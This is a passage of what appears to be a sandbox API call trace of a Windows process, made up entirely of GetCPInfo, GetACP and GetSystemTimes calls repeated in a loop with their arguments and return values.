lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.810] GetACP () returned 0x4e4 [0054.810] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.810] GetACP () returned 0x4e4 [0054.810] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.810] GetACP () returned 0x4e4 [0054.810] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.810] GetACP () returned 0x4e4 [0054.810] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.811] GetACP () returned 0x4e4 [0054.811] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.811] GetACP () returned 0x4e4 [0054.811] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.811] GetACP () returned 0x4e4 [0054.811] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.811] GetACP () returned 0x4e4 [0054.811] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.811] GetACP () returned 0x4e4 [0054.811] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.811] GetACP () returned 0x4e4 [0054.811] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.811] GetACP () returned 0x4e4 [0054.811] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.811] GetACP () returned 0x4e4 [0054.811] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.811] GetACP () returned 0x4e4 [0054.811] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.811] GetACP () returned 0x4e4 [0054.811] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.812] GetACP () returned 0x4e4 [0054.812] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.812] GetACP () returned 0x4e4 [0054.812] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.812] GetACP () returned 0x4e4 [0054.812] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.812] GetACP () returned 0x4e4 [0054.812] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.812] GetACP () returned 0x4e4 [0054.812] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.812] GetACP () returned 0x4e4 [0054.812] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.812] GetACP () returned 0x4e4 [0054.812] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.812] GetACP () returned 0x4e4 [0054.812] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.812] GetACP () returned 0x4e4 [0054.812] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.813] GetACP () returned 0x4e4 [0054.813] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.813] GetACP () returned 0x4e4 [0054.813] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.813] GetACP () returned 0x4e4 [0054.813] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.813] GetACP () returned 0x4e4 [0054.813] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.813] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.813] GetACP () returned 0x4e4 [0054.813] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.814] GetACP () returned 0x4e4 [0054.814] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.814] GetACP () returned 0x4e4 [0054.814] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.814] GetACP () returned 0x4e4 [0054.814] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.814] GetACP () returned 0x4e4 [0054.814] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.814] GetACP () returned 0x4e4 [0054.814] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.814] GetACP () returned 0x4e4 [0054.814] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.814] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.814] GetACP () returned 0x4e4 [0054.815] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.815] GetACP () returned 0x4e4 [0054.815] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.815] GetACP () returned 0x4e4 [0054.815] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.815] GetACP () returned 0x4e4 [0054.815] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.815] GetACP () returned 0x4e4 [0054.815] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.815] GetACP () returned 0x4e4 [0054.815] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.815] GetACP () returned 0x4e4 [0054.815] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.815] GetACP () returned 0x4e4 [0054.815] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.815] GetACP () returned 0x4e4 [0054.815] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.815] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.815] GetACP () returned 0x4e4 [0054.815] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.816] GetACP () returned 0x4e4 [0054.816] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.816] GetACP () returned 0x4e4 [0054.816] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.816] GetACP () returned 0x4e4 [0054.816] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.816] GetACP () returned 0x4e4 [0054.816] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.816] GetACP () returned 0x4e4 [0054.816] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.816] GetACP () returned 0x4e4 [0054.816] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.816] GetACP () returned 0x4e4 [0054.816] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.816] GetACP () returned 0x4e4 [0054.816] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.816] GetACP () returned 0x4e4 [0054.816] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.816] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.816] GetACP () returned 0x4e4 [0054.817] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.817] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.817] GetACP () returned 0x4e4 [0054.817] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.817] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.817] GetACP () returned 0x4e4 [0054.817] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.817] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.817] GetACP () returned 0x4e4 [0054.817] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.817] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.817] GetACP () returned 0x4e4 [0054.817] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.817] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.817] GetACP () returned 0x4e4 [0054.817] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.817] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.817] GetACP () returned 0x4e4 [0054.817] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.817] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.817] GetACP () returned 0x4e4 [0054.817] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.817] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.817] GetACP () returned 0x4e4 [0054.817] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.817] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.817] GetACP () returned 0x4e4 [0054.818] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.818] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.818] GetACP () returned 0x4e4 [0054.818] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.818] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.818] GetACP () returned 0x4e4 [0054.818] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.818] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.818] GetACP () returned 0x4e4 [0054.818] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.818] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.818] GetACP () returned 0x4e4 [0054.818] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.818] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.818] GetACP () returned 0x4e4 [0054.818] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.818] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.818] GetACP () returned 0x4e4 [0054.818] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.818] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.818] GetACP () returned 0x4e4 [0054.818] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.818] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.818] GetACP () returned 0x4e4 [0054.818] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.818] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.818] GetACP () returned 0x4e4 [0054.818] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.819] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.819] GetACP () returned 0x4e4 [0054.819] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.819] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.819] GetACP () returned 0x4e4 [0054.819] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.819] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.819] GetACP () returned 0x4e4 [0054.819] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.819] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.819] GetACP () returned 0x4e4 [0054.819] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.819] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: 